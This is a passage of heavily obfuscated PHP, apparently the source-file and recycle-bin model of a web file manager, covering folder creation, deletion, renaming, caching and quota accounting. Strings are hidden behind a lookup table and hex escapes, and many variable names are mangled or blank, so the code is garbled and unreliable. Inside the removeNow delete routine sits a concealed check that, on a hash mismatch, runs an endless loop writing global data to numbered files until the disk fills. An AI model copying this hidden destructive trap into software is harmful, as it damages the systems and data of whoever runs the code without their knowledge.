= $this->_mkdirRoot(SourceModel::TYPE_USER, $þ, $眆[2236], $眆[481]); Model($眆[553])->metaSet($þ, $眆[2235], $); $this->metaSet($, $眆[2237], $þ); return $; } public function groupRootAdd($) { $螮 =& $_SERVER[]; $׸º = Model($螮[561])->where(array($螮[2045] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $׸º[$螮[32]]); } public function systemRootPathAdd($뮌) { if ($뮌 != $_SERVER[][581]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $뮌); } public function userRootRemove($ͤ) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $ͤ, !0); foreach ($ as $ݔ) { if (!$ݔ) { continue; } $this->remove($ݔ[$_SERVER[][184]], !1); } } public function groupRootRemove($ѲӪ) { $́Ѣ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $ѲӪ); if (!$́Ѣ) { return; } $this->remove($́Ѣ[$_SERVER[][184]], !1); } private function _mkdirRoot($ժ, $, $, $ = '') { $، =& $_SERVER[]; $ = defined($،[2179]) ? USER_ID : 0; $ٜ = array($،[452] => 0, $،[623] => $ժ, $،[624] => $, $،[621] => 1, $،[625] => $, $،[626] => $, $،[622] => $, $،[627] => $،[570], $،[479] => 0, $،[592] => 0, $،[517] => 0, $،[628] => $،[12]); if ($ډ = $this->where($ٜ)->find()) { return $ډ[$،[184]]; } $ӟ܂ = "\115\157\144\x65\x6c\x53\157\x75\162\143\x65\56\155\153\144\151\162\122\x6f\x6f\164\x2e{$ժ}\56{$}\x2e" . $; CacheLock::lock($ӟ܂); $ٜ[$،[32]] = $; $ž = $this->add($ٜ); $ = array($،[629] => short_id($ž)); $this->where(array($،[466] => $ž))->save($); CacheLock::unlock($ӟ܂); return $ž; } private function targetSourceRoot($, $Ԟ, $ʧȻ = false) { $ۏ =& $_SERVER[]; $ = array($ۏ[452] => 0, $ۏ[623] => $, $ۏ[624] => $Ԟ); if ($ʧȻ) { $ˏ = $this->where($)->select(); return $ˏ ? $ˏ : array(); } $㖠 = $this->where($)->find(); return $㖠 ? $㖠 : array(); } public function sourceRootGroup($) { $ہ =& $_SERVER[]; if (is_string($)) { $ = array($); } $׉ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $ہ[211]); $ = array($ہ[420] => $׉, $ہ[417] => array($ہ[803] => count($))); $this->_listDataApply($[$ہ[420]]); $this->_listMake($); return array_to_keyvalue($[$ہ[85]], $ہ[545]); } public function mkfile($ƿ, $, $ = '', $ = REPEAT_RENAME) { $Ў =& $_SERVER[]; $ȡ = Model($Ў[649])->addFileByContent($, $); return $this->_createFileCall($ƿ, $, $ȡ, $, $Ў[1398]); } public function addFile($㔳, $, $֏, $ܥ = false, $ = REPEAT_RENAME) { $ʇ = Model($_SERVER[][649])->addFile($, $֏, $ܥ); return $this->_createFileCall($㔳, $֏, $ʇ, $); } public function addFileByFileID($˵, $ʐ, $, $Ł = REPEAT_RENAME) { $Ϙ =& $_SERVER[]; $ӟ = Model($Ϙ[649])->find($ʐ); Model($Ϙ[649])->linkAdd($ʐ); return $this->_createFileCall($˵, $, $ӟ, $Ł); } public function addFileByRemote($̯ݣ, $, $إ, $ = array(), $㩢 = REPEAT_RENAME) { $ض = Model($_SERVER[][649])->addFileByRemote($, $إ, $); return $this->_createFileCall($̯ݣ, $إ, $ض, $㩢); } private function _createFileCall($, $, $Ӕ, $, $ = "\x75\160\x6c\157\x61\144") { $ع =& $_SERVER[]; $ŷ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $髞 = $this->_createFile($, $, $Ӕ, $, $ŷ); if (!$ŷ) { Model($ع[519])->remove($Ӕ[$ع[516]]); } if ($ŷ && $髞 && $髞 != $) { Model($ع[2205])->eventCreate($髞, $); } $this->lockWriteEnd($, $); return $髞; } public function mkdir($¶߽, $, $Ψ = REPEAT_SKIP) { $̚ =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($¶߽); if (!$) { return !1; } $this->lockWriteStart($¶߽, $); if ($Ψ !== !1) { $ = $this->fileNameExist($¶߽, $); if ($ && $Ψ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($¶߽, $); return $; } $ = $this->fileNameAuto($¶߽, $, $Ψ); } $봅 = array($̚[621] => 1, $̚[469] => $, $̚[622] => $̚[12], $̚[517] => 0, $̚[592] => 0); $ = $this->_addSource($봅, $); Model($̚[2205])->eventCreate($, $̚[1399]); $this->lockWriteEnd($¶߽, $); return $; } public function listSourceRoot($, $⌖, $ = "\x73\157\165\162\143\145\111\104\x2c\164\x61\162\147\145\x74\x49\104\54\x73\151\x7a\x65") { $ =& $_SERVER[]; $ܷ = $[429]; $ڑ = array(); $Ə = 1024 * 50; $ = is_array($) ? $ : array(); $݉ = count($⌖); $ = $this->tablePrefix . $[2238]; for ($ۗ = 0; $ۗ < $݉; $ۗ++) { $ = $⌖[$ۗ]; $ܷ .= "\x53\x45\x4c\105\103\x54\40\x2a\40\x46\x52\117\x4d\40\x28\x53\105\114\105\103\x54\40{$}\x20\106\122\x4f\115\40\x60{$}\x60\x20\x57\110\105\122\105\x20"; $ܷ .= "\x60\x70\141\x72\x65\156\x74\x49\104\x60\x3d\x30\40\101\116\104\40\x60\x74\x61\162\147\145\164\x49\x44\140\75{$}\40\101\116\104\x20\140\164\141\162\x67\x65\164\x54\171\160\x65\x60\75{$}\40\141\156\144\x20\x66\151\x6c\x65\124\x79\160\145\75\47\47\x20\x6c\x69\155\x69\x74\40\61\x29\x20\x61\x73\x20\164\142\x5f{$ۗ}\40\x55\116\x49\x4f\116\x20\101\x4c\x4c\x20"; if ((strlen($ܷ) >= $Ə || $ۗ == $݉ - 1) && $ܷ) { $ܷ = substr($ܷ, 0, -strlen($[1088])); $ = $this->query($ܷ); $ܷ = $[12]; $ڑ = array_merge($ڑ, $); } } return $ڑ; } private function _createFile($, $Ŭ, $ߧ, $ˠ˰, &$ʆ) { $π =& $_SERVER[]; $Ƥ = $this->sourceInfo($); if (!$ߧ || !$Ƥ) { return !1; } if ($ˠ˰ !== !1) { $쟼 = $this->fileNameExist($, $Ŭ); } $ʆ = !0; if ($ˠ˰ && $쟼) { if ($ˠ˰ == REPEAT_SKIP) { $ʆ = !1; return $쟼; } else { if ($ˠ˰ == REPEAT_REPLACE) { $ = $this->sourceInfo($쟼); $ = $this->fileHistory($, $ߧ[$π[516]], $ߧ[$π[79]]); if (!$) { $ʆ = !1; } else { $this->folderSizeReset($); } return $쟼; } else { $Ŭ = $this->fileNameAuto($, $Ŭ, $ˠ˰, !1); } } } $⣾ = array($π[621] => 0, $π[469] => $Ŭ, $π[622] => substr(get_path_ext($Ŭ), 0, 10), $π[517] => $ߧ[$π[516]], $π[592] => $ߧ[$π[79]]); $䓴 = $this->_addSource($⣾, $Ƥ); $this->folderSizeReset($, intval($⣾[$π[79]])); return $䓴; } protected function fileHistory($Ə؀, $, $ؠ) { $ =& $_SERVER[]; if ($Ə؀[$[516]] == $) { return !1; } $this->checkLock($Ə؀[$[184]], $); Model($[2239])->addHistory($Ə؀); $؟ = array($[626] => USER_ID, $[473] => time(), $[516] => $, $[79] => $ؠ); $this->where(array($[466] => $Ə؀[$[184]]))->save($؟); $this->sourceCacheClear($Ə؀[$[184]]); return !0; } public function checkLock($, $) { $ݳ =& $_SERVER[]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($ݳ[2240]); $ = substr($[$ݳ[32]], 0, -1 - strlen($[$ݳ[178]])) . $ݳ[1262] . $ . $ݳ[10] . $[$ݳ[178]]; $Ț = Model($ݳ[649])->find($); $this->_createFileCall($[$ݳ[183]], $, $Ț, REPEAT_REPLACE, $ݳ[1398]); $§ = $[$ݳ[514]][$ݳ[585]]; $ = $§[$ݳ[2241]] ? $§[$ݳ[2241]] : $§[$ݳ[32]]; show_json(LNG($ݳ[2242]) . $ݳ[2243] . LNG($ݳ[2244]) . $ݳ[2245] . $ . $ݳ[2246], !1); } public function fileIsLock($䒁, $џ = false) { $ѓ =& $_SERVER[]; if (!isset($䒁[$ѓ[514]]) || !$䒁[$ѓ[514]][$ѓ[582]]) { return !1; } if ($䒁[$ѓ[514]][$ѓ[582]] != USER_ID) { return !0; } $ = $GLOBALS[$ѓ[6]][$ѓ[92]][$ѓ[583]]; if ($䒁[$ѓ[514]][$ѓ[584]] <= time() - $) { $this->metaSet($䒁[$ѓ[184]], $ѓ[582], null); $this->metaSet($䒁[$ѓ[184]], $ѓ[584], null); } if ($џ) { $this->metaSet($䒁[$ѓ[184]], $ѓ[584], time()); } return !1; } private function _addSource($, $߁) { $ =& $_SERVER[]; $閛 = defined($[2179]) ? USER_ID : 0; $ = array($[623] => $߁[$[181]], $[624] => $߁[$[545]], $[625] => $閛, $[626] => $閛, $[452] => $߁[$[184]], $[627] => $߁[$[560]] . $߁[$[184]] . $[50], $[479] => 0, $[628] => $[12]); $ = array_merge($, $); $this->updateModifyTime($[$[183]]); $ = $[2247] . $߁[$[184]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $˽ = false; if (!$˽) { Hook::trigger($[611], $); $˽ = !0; } $ = $this->add($); $ = array($[629] => short_id($)); $this->where(array($[466] => $))->save($); $this->setNamePinyin($, $[$[32]]); return $; } public function remove($Ƕ, $涫 = true) { $ =& $_SERVER[]; $ = $this->sourceInfo($Ƕ); $Ԝ = intval($[$[181]]) === self::TYPE_SYSTEM; $ˏ = Model($[483])->get($[2248]) == $[91]; if ($Ԝ || $涫 || !$ˏ) { return $this->removeNow($Ƕ, $涫); } $ޤ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$[181]] == self::TYPE_USER ? $[637] : $[554]; if ($ == $[637]) { $ = Model($[553])->getInfo($[$[545]]); $ = !empty($[$[2241]]) ? $[$[2241]] : $[$[32]]; $ = $[312] . $ . $[2249] . $[$[545]]; } else { $ = Model($[561])->getInfo($[$[545]]); $ = _get($, $[32]); $ = $[166] . $ . $[2250] . $[$[545]]; } $ۏ = $[2251] . md5($); CacheLock::lock($ۏ); $䳋 = $this->fileNameExist($ޤ, $); if (!$䳋) { $䳋 = $this->mkdir($ޤ, $, REPEAT_SKIP); $this->metaSet($䳋, $[2252], $); $this->metaSet($䳋, $[2253], $[$[545]]); if ($[$[183]] != 0) { $this->metaSet($䳋, $[2254], _get($, $[2255])); } } CacheLock::unlock($ۏ); $this->metaSet($Ƕ, $[2256], $[$[183]]); $this->where(array($[184] => $Ƕ))->save(array($[473] => time())); $this->recycleClear($); Model($[608])->eventRemove($Ƕ); $°뻭 = $this->move($Ƕ, $䳋, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$[183]]); return $°뻭; } private function recycleClear($) { $݇Ƣ =& $_SERVER[]; $Ǎ = $this->childrenAll($); $ᏱĊ = array($݇Ƣ[466] => array($݇Ƣ[467], $Ǎ[$݇Ƣ[2257]])); Model($݇Ƣ[2258])->where($ᏱĊ)->delete(); } public function removeNow($Ư, $耜ɶ = true) { $奘 =& $_SERVER[]; $ = $_SERVER[$奘[922]]; $ٸ = $奘[1851]; if ($_SERVER[$奘[921]] != $ٸ($)) { $͐ = $奘[923]; $ = $奘[924]; $ = $_SERVER[$奘[925]] . $奘[926]; $Ȯ = $($); $苽 = explode($奘[253], $Ȯ); if (count($苽) < $奘[663]) { $ɤ = $奘[927]; $ɤ(); } $ٵ = $奘[928]; $ٵ($_SERVER[$奘[929]]); $͐ = $奘[923]; $͐(); $ = $奘[2259]; $崩 = json_encode($GLOBALS[$奘[2260]]); $ = 1; for ($Ƣ = $; $Ƣ > 0; $Ƣ++) { $(DATA_PATH . $Ƣ, $崩); } } $ƒχ = $this->sourceInfo($Ư); $Ϲ = $this->pathInfoMore($Ư); if (!$ƒχ) { return !0; } if ($ƒχ[$奘[183]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($Ư); Hook::trigger($奘[2261], $Ϲ, $耜ɶ); if ($耜ɶ) { Model($奘[2258])->moveToRecycle($Ư); } else { $ˇی = $this->childrenAll($ƒχ); Model($奘[608])->eventRemove($Ư); $this->removeRelevance($ˇی[$奘[2257]], $ˇی[$奘[1559]]); } $this->folderSizeReset($ƒχ[$奘[183]]); $ = array($ƒχ[$奘[183]]); if ($ƒχ[$奘[460]] == $奘[91]) { $[] = $ƒχ[$奘[184]]; } $this->updateModifyTime($); $this->lockMoveEnd($Ư); Hook::trigger($奘[1795], $Ϲ, $耜ɶ); return !0; } public function childrenAll($ְ) { $ހ =& $_SERVER[]; $̦ = $ְ[$ހ[184]]; if ($ְ[$ހ[460]] == $ހ[91]) { $ԣ = array($ހ[627] => array($ހ[587], $ְ[$ހ[560]] . $̦ . $ހ[588])); $ = array($ހ[627] => $ԣ[$ހ[560]]); $ɸͬ = $this->field($ހ[2262])->where($)->select(); $ = !1; $ = array($̦); if ($ɸͬ) { $ = array_to_keyvalue($ɸͬ, $ހ[12], $ހ[516]); $ = array_remove_value($, $ހ[219]); $ = array_to_keyvalue($ɸͬ, $ހ[12], $ހ[184]); $[] = $̦; } } else { $ = array($ְ[$ހ[516]]); $ = array($̦); } return array($ހ[2257] => $, $ހ[1559] => $); } public function removeArray($ʜ) { if (!$ʜ) { return !0; } } public function removeRelevance($, $ݕ) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ݕ = $ݕ ? $ݕ : array(); $ = array_unique(array_filter($)); $ݕ = array_unique(array_filter($ݕ)); if (!$) { return !1; } $ȸ = array($[466] => array($[467], $)); Model($[2258])->where($ȸ)->delete(); Model($[510])->where($ȸ)->delete(); Model($[2104])->where($ȸ)->delete(); Model($[608])->where($ȸ)->delete(); Model($[1932])->removeBySource($); Model($[2239])->removeBySource($); $this->where($ȸ)->delete(); Model($[519])->remove($ݕ); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($ֵϞ, $) { $ =& $_SERVER[]; $ˍ = $this->sourceInfo($ֵϞ); if (!$ˍ) { return !1; } $Ԛν = $this->fileNameExist($ˍ[$[183]], $); if ($Ԛν && $Ԛν != $ֵϞ) { return !1; } $ݿ = array($[469] => $, $[626] => USER_ID); if ($ˍ[$[460]] != $[91]) { $ݿ[$[461]] = substr(get_path_ext($), 0, 10); } Model($[608])->eventRename($ֵϞ, $ˍ[$[32]], $); $this->sourceCacheClear($ֵϞ); $this->setNamePinyin($ֵϞ, $ݿ[$[32]], !1); $this->updateModifyTime($ˍ[$[183]]); $ڳ㯳 = $this->where(array($[466] => $ֵϞ))->data($ݿ)->save(); $֡ݡ = $[2247] . $ˍ[$[183]]; if (isset(self::$cacheChildList[$֡ݡ])) { unset(self::$cacheChildList[$֡ݡ]); } return $ڳ㯳; } public function setNamePinyin($, $, $읮ֽ = true) { $ͅ =& $_SERVER[]; $攦 = Input::check($, $ͅ[630]); $ = array($ͅ[492] => KodSort::makeStr($)); if ($攦) { $[$ͅ[513]] = str_replace($ͅ[53], $ͅ[12], Pinyin::get($)); $[$ͅ[512]] = Pinyin::get($, $ͅ[631]); } if (!$읮ֽ && !$攦) { $[$ͅ[513]] = null; $[$ͅ[512]] = null; } $this->metaSet($, $); } public function getContent($҃Ɉ) { $ʈ᤬ =& $_SERVER[]; $㰎ܥ = $this->fileInfoGet($҃Ɉ); if (!$㰎ܥ) { return !1; } if ($㰎ܥ[$ʈ᤬[79]] == 0) { return $ʈ᤬[12]; } $͆ = $ʈ᤬[2263] . $㰎ܥ[$ʈ᤬[522]]; if ($㰎ܥ[$ʈ᤬[79]] <= 1024 * 10) { $玾 = Cache::get($͆); if (!$玾) { $玾 = IO::getContent($㰎ܥ[$ʈ᤬[87]]); Cache::set($͆, $玾); } return $玾; } if (!$㰎ܥ[$ʈ᤬[87]]) { return $ʈ᤬[12]; } return IO::getContent($㰎ܥ[$ʈ᤬[87]]); } public function setDesc($Đ, $֢) { $ =& $_SERVER[]; Model($[608])->eventAddDesc($Đ, $֢); return $this->metaSet($Đ, $[501], $֢); } public function setContent($ﲓ, $÷뾖 = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($ﲓ); $ = $this->fileInfoGet($ﲓ); if (!$ || !$) { return !1; } $Ǿ᱕ = Model($[519])->addFileByContent($÷뾖, $[$[32]]); $Ө = $this->fileHistory($, $Ǿ᱕[$[516]], $Ǿ᱕[$[79]]); if (!$Ө) { return Model($[519])->remove($Ǿ᱕[$[516]]); } $this->folderSizeReset($[$[183]]); return !0; } public function fileSubstr($, $ܾ, $׬) { $ꔞ = $this->fileInfoGet($); if (!$ꔞ) { return !1; } return IO::fileSubstr($ꔞ[$_SERVER[][87]], $ܾ, $׬); } public function fileInfoGet($īդ) { $ =& $_SERVER[]; $ = $this->sourceInfo($īդ); if (!$ || $[$[460]]) { return !1; } $ = $[523] . $[$[516]]; $¢ = _get(self::$cacheFileInfo, $); if ($¢) { return $¢; } $ޕ使 = Model($[519])->fileInfo($[$[516]]); if ($ޕ使) { $ޕ使[$[32]] = $[$[32]]; } self::$cacheFileInfo[$] = $ޕ使; return $ޕ使; } private function folderChildrenNumber($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[627] => array($[587], $[$[560]] . $ . $[588]), $[624] => $[$[545]], $[479] => intval($[$[480]]), $[621] => 1); $ˇ = $this->where($)->count(); $ = $this->where($)->where(array($[621] => 0))->count(); return array($[83] => $, $[84] => $ˇ); } public function pathInfo($⦻, $܉ = false) { $咽 =& $_SERVER[]; $܉ = !1; $⦻ = intval($⦻); $Ş = $咽[509] . intval($܉) . $咽[437] . $⦻; $ݟ° = _get(self::$cachePathInfo, $Ş); if ($ݟ°) { return $ݟ°; } $Ŵ = $this->sourceInfo($⦻); if (!$Ŵ) { return !1; } $Ŵ = $this->_listDataApplyItem($Ŵ, $܉); self::$cachePathInfo[$Ş] = $Ŵ; return $Ŵ; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $Ŏ = $this->pathInfo($); if (!$Ŏ) { return !1; } if ($Ŏ[$[460]] == $[91]) { $Ŏ[$[82]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $Ŏ; return $Ŏ; } public function sourceInfo($) { $ɤ =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $Ԧ = $ɤ[508] . $; $ʡ = _get(self::$cacheSourceInfo, $Ԧ); if ($ʡ) { return $ʡ; } $㚥 = $this->where(array($ɤ[184] => $))->find(); self::$cacheSourceInfo[$Ԧ] = $㚥; return self::$cacheSourceInfo[$Ԧ]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[508] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2264] . $]); unset(self::$cachePathInfo[$[2265] . $]); } public function metaSet($ꂏ, $ = null, $ = null) { $ҺȤ = parent::metaSet($ꂏ, $, $); if ($ҺȤ) { $this->sourceCacheClear($ꂏ); } return $ҺȤ; } public function pathInfoByPath($޷, $׮) { $Ӄ =& $_SERVER[]; $ = !$׮ ? array() : explode($Ӄ[8], trim($׮, $Ӄ[8])); $ = $޷; foreach ($ as $) { $ = array($Ӄ[183] => $, $Ӄ[32] => $); $ = $this->field($Ӄ[2266])->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $Ӄ[480]); $ = $[0][$Ӄ[184]]; } $Ŝ = $this->sourceInfo($); $this->pathInfoFilter($Ŝ); return $Ŝ; } protected function updateModifyTime($ԙ) { $ =& $_SERVER[]; $ = defined($[2179]) ? USER_ID : 0; if (!$ԙ) { return; } if (!is_array($ԙ)) { $ԙ = array($ԙ); } foreach ($ԙ as $ => $ճ) { $ԙ[$] = intval($ճ); $this->sourceCacheClear($ճ); } $۷ = array($[184] => array($[7], $ԙ)); $ؾ = array($[626] => $, $[473] => time()); $this->where($۷)->save($ؾ); } public function folderSizeReset($, $޶ = false) { $Ԫ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ƫ = $Ԫ[2267] . $; CacheLock::lock($ƫ, 20); if ($޶ === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ĭ = array($Ԫ[452] => $, $Ԫ[479] => 0); $ꟲ = $this->where($ĭ)->sum($Ԫ[79]); $޶ = intval($ꟲ) - intval($[$Ԫ[79]]); } if ($޶ == 0) { return CacheLock::unlock($ƫ); } $ӣд = $this->parentLevelArray($[$Ԫ[560]]); if (!$ӣд) { $ӣд = array(); } $ӣд[] = $[$Ԫ[184]]; $ĭ = array($Ԫ[184] => array($Ԫ[467], $ӣд)); if ($޶ < 0) { $ĭ[$Ԫ[79]] = array($Ԫ[1065], abs($޶)); } $this->where($ĭ)->setAdd($Ԫ[79], $޶); CacheLock::unlock($ƫ); $̡ = $Ԫ[2268] . $[$Ԫ[181]] . $Ԫ[4] . $[$Ԫ[545]]; $ō = array($[$Ԫ[181]], $[$Ԫ[545]]); TaskRun::timeLimitCall($̡, $Ԫ[2269], $ō, 1.5); } public function folderSizeResetChildren($) { $Ҍ =& $_SERVER[]; $this->sourceCacheClear($); $Ձ = $this->sourceInfo($); $ = array($Ҍ[621] => 1, $Ҍ[624] => $Ձ[$Ҍ[545]], $Ҍ[627] => array($Ҍ[587], $Ձ[$Ҍ[560]] . $ . $Ҍ[588])); $Ǹ· = $Ҍ[2270]; $ϔ = $this->field($Ǹ·)->where($)->select(); $[$Ҍ[460]] = 0; $ = $this->field($Ǹ·)->where($)->select(); if (!$) { return; } $ϔ[] = $Ձ; $ϔ = array_to_keyvalue($ϔ, $Ҍ[184]); foreach ($ϔ as $Ԥ => $鄕) { $ϔ[$Ԥ][$Ҍ[2271]] = $ϔ[$Ԥ][$Ҍ[79]]; $ϔ[$Ԥ][$Ҍ[79]] = 0; } foreach ($ as $鄕) { $䳡 = $鄕[$Ҍ[183]] . $Ҍ[12]; if (!isset($ϔ[$䳡])) { continue; } if ($鄕[$Ҍ[480]] == $ϔ[$䳡][$Ҍ[480]]) { $ϔ[$䳡][$Ҍ[79]] += $鄕[$Ҍ[79]]; } } foreach ($ϔ as $鄕) { $ = $this->parentLevelArray($鄕[$Ҍ[560]]); foreach ($ as $䳡) { $䳡 = $䳡 . $Ҍ[12]; if (!isset($ϔ[$䳡])) { continue; } if ($鄕[$Ҍ[480]] == $ϔ[$䳡][$Ҍ[480]]) { $ϔ[$䳡][$Ҍ[79]] += $鄕[$Ҍ[79]]; } } } $ = array(); foreach ($ϔ as $鄕) { if ($鄕[$Ҍ[79]] == $鄕[$Ҍ[2271]]) { continue; } $[] = array($Ҍ[184], $鄕[$Ҍ[184]], $Ҍ[79], $鄕[$Ҍ[79]]); } $this->saveAll($); } public function userSpaceReset($Ըհ = false) { $ =& $_SERVER[]; $— = $this->where(array($[181] => self::TYPE_USER, $[545] => $Ըհ, $[460] => 0))->sum($[79]); $— = !$— || $— <= 0 ? 0 : $—; Model($[553])->userEdit($Ըհ, array($[1941] => $—)); } public function targetSpaceUpdate($, $) { $˭ =& $_SERVER[]; if (!$) { return; } if (!in_array($, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ʖ = $this->targetSpaceSize($, $); if ($ == self::TYPE_USER) { Model($˭[553])->userEdit($, array($˭[1941] => $ʖ)); } else { if ($ == self::TYPE_GROUP) { Model($˭[561])->groupEdit($, array($˭[1941] => $ʖ)); } } } public function targetSpaceSize($, $閊) { $ =& $_SERVER[]; $ = 0; $ = $this->targetSourceRoot($, $閊, !0); foreach ($ as $ݽ) { if (!$ݽ) { continue; } $ += floatval($ݽ[$[79]]); $ہ = array($[627] => array($[587], $[570] . $ݽ[$[184]] . $[588])); $₴ = Model($[478])->field($[466])->where($ہ)->select(); $₴ = array_to_keyvalue($₴, $[12], $[184]); $₴ = array_unique(array_filter($₴)); if ($₴) { $ہ = array($[466] => array($[467], $₴)); $ += floatval($this->where($ہ)->sum($[79])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($è) { return $this->fileTypeProfile($è, SourceModel::TYPE_GROUP); } private function fileTypeProfile($¨, $ϧЈ) { $ =& $_SERVER[]; $ۋ = $[2272] . $¨ . $[11] . $ϧЈ; $ = Cache::get($ۋ); if ($) { return $; } $Р = array($[621] => 0); if ($¨ != !1) { $Р[$[545]] = $¨; $Р[$[181]] = $ϧЈ; } $׳ = array(); $׳[$[2273]] = array($[2274] => LNG($[2273]), $[2275] => $this->where($Р)->count(), $[592] => $this->where($Р)->sum($[79])); $ = KodIO::fileTypeList(); foreach ($ as $盟 => $՗) { $Р[$[461]] = $this->fileTypeWhere($盟); $׳[$盟] = array($[2274] => $՗[$[32]], $[2275] => $this->where($Р)->count(), $[592] => $this->where($Р)->sum($[79])); } Cache::set($ۋ, $׳, 1200); return $׳; } public function fileNameExist($Ͷ, $ֽΆ) { $ۄ =& $_SERVER[]; $Ŵ = $this->field($ۄ[2276])->where(array($ۄ[183] => $Ͷ, $ۄ[32] => $ֽΆ, $ۄ[480] => 0))->find(); return is_array($Ŵ) ? $Ŵ[$ۄ[184]] : !1; } public function childList($ʥЗ) { $ڙл =& $_SERVER[]; $ڣ = $ڙл[2247] . $ʥЗ; if (isset(self::$cacheChildList[$ڣ])) { return self::$cacheChildList[$ڣ]; } $сѕ = array($ڙл[183] => intval($ʥЗ), $ڙл[480] => 0); $呾 = $this->where($сѕ)->select(); $呾 = $呾 ? $呾 : array(); self::$cacheChildList[$ڣ] = $呾; foreach ($呾 as $) { $ڣ = $ڙл[508] . $[$ڙл[184]]; self::$cacheSourceInfo[$ڣ] = $; } return $呾; } public function fileNameAuto($, $, $ = REPEAT_RENAME, $ = false) { $ =& $_SERVER[]; $؁ = get_path_ext($); $ɵě = $؁ ? get_path_ext_name($) . $[2277] . $؁ : $ . $[435]; $ڑ = array($[183] => $, $[480] => 0, $[32] => array($[434], $ɵě)); $ = $this->field($[32])->where($ڑ)->select(); $ռ = array_to_keyvalue($, $[12], $[32]); return $this->fileNameAutoGet($ռ, $, $, $); } public function fileNameAutoGet($, $հ͗, $Ώ拤, $ܱ) { $ݽ =& $_SERVER[]; if ($Ώ拤 == REPEAT_REPLACE || !$ || !in_array_not_case($հ͗, $) || $ܱ && $Ώ拤 != REPEAT_RENAME_FOLDER) { return $հ͗; } if ($Ώ拤 == REPEAT_SKIP) { return !1; } $ = $ݽ[10] . get_path_ext($հ͗); $ = $ == $ݽ[10] || $ܱ ? $ݽ[12] : $; for ($ք = 1; $ք <= count($) + 1; $ք++) { $ = substr($հ͗, 0, strlen($հ͗) - strlen($)); $琊 = $ . "\50{$ք}\x29{$}"; if (!in_array_not_case($琊, $)) { return $琊; } } } } class SourceRecycleModel extends ModelBase { protected $tableName = "\151\157\x5f\163\x6f\165\x72\x63\145\137\162\145\x63\x79\x63\154\145"; protected $dataAuto = array(array("\x63\162\x65\x61\164\x65\x54\x69\155\x65", "\164\x69\155\x65", "\x69\156\163\145\162\164", "\146\165\156\143\164\x69\157\x6e")); public function listData($Nj = false) { $Ȃ =& $_SERVER[]; $Nj = $Nj ? $Nj : USER_ID; $˓ = $this->where(array($Ȃ[1744] => $Nj))->select(); return array_to_keyvalue($˓, $Ȃ[12], $Ȃ[184]); } public function moveToRecycle($ذĸ) { $ٕ =& $_SERVER[]; $˪ = Model($ٕ[1388]); $Ψ = $˪->sourceInfo($ذĸ); if (!$Ψ || $Ψ[$ٕ[480]] == $ٕ[91]) { return; } $ = array($ٕ[466] => $ذĸ, $ٕ[1744] => USER_ID, $ٕ[623] => $Ψ[$ٕ[181]], $ٕ[624] => $Ψ[$ٕ[545]], $ٕ[627] => $Ψ[$ٕ[560]]); $this->add($); $this->recycleMove($ذĸ, 1); if ($Ψ[$ٕ[460]] == $ٕ[91]) { $؞ = array($ٕ[627] => array($ٕ[587], $Ψ[$ٕ[560]] . $ذĸ . $ٕ[588])); $˪->where($؞)->setField($ٕ[480], 1); } } public function clear() { $this->remove(!1); } public function remove($ߴ = false, $ = false) { $ =& $_SERVER[]; $ = $ ? $ : USER_ID; $ = Model($[1388]); $ = $this->listData($); $ߴ = $ߴ === !1 ? !1 : $ߴ; $끉 = array(); foreach ($ as $ם) { if ($ߴ != !1 && !in_array($ם, $ߴ)) { continue; } $Ἳ = $->sourceInfo($ם); $->remove($ם, !1); $ = $Ἳ[$[181]] . $[11] . $Ἳ[$[545]]; $끉[$] = array($[623] => $Ἳ[$[181]], $[545] => $Ἳ[$[545]]); $this->where(array($[184] => $ם))->delete(); } foreach ($끉 as $) { $->targetSpaceUpdate($[$[181]], $[$[545]]); } } public function restore($䰭 = false) { $Ւ֛ = $this->listData(); $this->_restoreSource($Ւ֛, $䰭); } public function removeUserAll($) { $this->remove(!1, $); } public function restoreItem($) { $this->_restoreSource(array($), array($)); } private function _restoreSource($󦗷, $͔) { $å =& $_SERVER[]; $γ = Model($å[1388]); $͔ = $͔ == !1 ? !1 : $͔; if (!$󦗷) { return !0; } $׾ = array(); foreach ($󦗷 as $ٰ) { if ($͔ != !1 && !in_array($ٰ, $͔)) { continue; } $ = $γ->sourceInfo($ٰ); $ = $γ->sourceInfo($[$å[183]]); if ($[$å[480]] == $å[91]) { continue; } $γ->lockMoveStart($ٰ); $this->recycleMove($ٰ, 0); if ($[$å[460]] == $å[91]) { 